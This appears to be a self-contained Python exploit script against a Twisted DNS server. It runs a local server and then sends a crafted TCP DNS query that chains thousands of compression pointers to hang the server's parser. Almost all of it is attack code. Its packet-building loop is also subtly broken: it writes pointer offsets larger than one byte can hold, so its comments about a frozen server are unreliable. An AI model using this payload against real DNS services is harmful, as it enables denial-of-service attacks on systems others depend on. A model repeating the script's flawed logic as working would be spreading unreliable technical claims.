Vulnerable code sample

import socket
import threading
import time

# This code requires a vulnerable version of Twisted, e.g., 'pip install twisted==22.1.0'
# It will not work on patched versions (>=22.2.0).
from twisted.internet import reactor
from twisted.names import dns, server

# A minimal DNS server factory. The vulnerability is triggered in the
# base protocol parsing, before the factory's logic is ever reached.
class VulnerableDNSServerFactory(server.DNSServerFactory):
    def handleQuery(self, message, protocol, address):
        print("[Server] Query successfully handled (this message indicates the server is NOT vulnerable or the attack failed).")
        return super().handleQuery(message, protocol, address)

def run_vulnerable_server():
    """Sets up and runs the Twisted DNS server."""
    factory = VulnerableDNSServerFactory(authorities=[])
    reactor.listenTCP(5353, factory)
    print("[Server] Vulnerable DNS server starting on 127.0.0.1:5353...")
    reactor.run(installSignalHandlers=False)

# --- Main execution ---
if __name__ == '__main__':
    # Run the server in a background daemon thread
    # This allows the main thread to act as the attacker
    server_thread = threading.Thread(target=run_vulnerable_server, daemon=True)
    server_thread.start()
    time.sleep(1) # Wait for the server to initialize

    # --- Attacker Logic ---
    print("[Attacker] Crafting malicious DNS packet...")

    # 1. DNS Header (12 bytes): Transaction ID, flags, and counts
    header = b'\xbe\xef\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00'

    # 2. Malicious Question Name (The core of the exploit)
    # We create a long chain of compression pointers. Each pointer points to the
    # next one, forcing the parser into deep recursion that exhausts resources.
    # The vulnerability is that loop detection was insufficient and did not
    # account for extremely long, non-looping chains.
    num_pointers = 2500 # A large number to ensure resource exhaustion
    malicious_name = bytearray()
    
    # Each pointer is 2 bytes (0xc0XX) and points to an offset.
    # The name starts at offset 12 (after the header).
    for i in range(num_pointers):
        # The pointer at offset (12 + 2*i) will point to the next one at (12 + 2*(i+1))
        next_pointer_offset = 12 + 2 * (i + 1)
        malicious_name.extend(b'\xc0' + bytes([next_pointer_offset]))
    
    # The last pointer in the chain must point to a valid, null-terminated name.
    # We'll place a simple name 'a.com' at the very end of our pointer chain.
    final_name_offset = 12 + len(malicious_name)
    
    # Modify the last byte of the last pointer to point to this final name.
    malicious_name[-1] = final_name_offset
    
    # Append the actual name that the chain resolves to.
    malicious_name.extend(b'\x01a\x03com\x00')

    # 3. Question Type and Class (4 bytes): A, IN
    qtype_qclass = b'\x00\x01\x00\x01'

    # Assemble the full DNS query payload
    dns_query_payload = header + malicious_name + qtype_qclass

    # For TCP DNS, the message must be prefixed with a 2-byte length field
    tcp_packet = len(dns_query_payload).to_bytes(2, 'big') + dns_query_payload

    print(f"[Attacker] Sending crafted packet of {len(tcp_packet)} bytes...")

    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect(('127.0.0.1', 5353))
            s.sendall(tcp_packet)
        print("[Attacker] Packet sent. The server's reactor is now likely frozen.")
    except ConnectionRefusedError:
        print("[Attacker] Connection refused. Is the server running?")
    except Exception as e:
        print(f"[Attacker] An error occurred: {e}")

    # The server thread is now hung processing the malicious packet.
    # We can test this by observing that it remains alive but unresponsive.
    time.sleep(5)
    if server_thread.is_alive():
        print("[Main] Check complete. Server thread is still alive but hung as expected.")
    else:
        print("[Main] Server thread terminated unexpectedly.")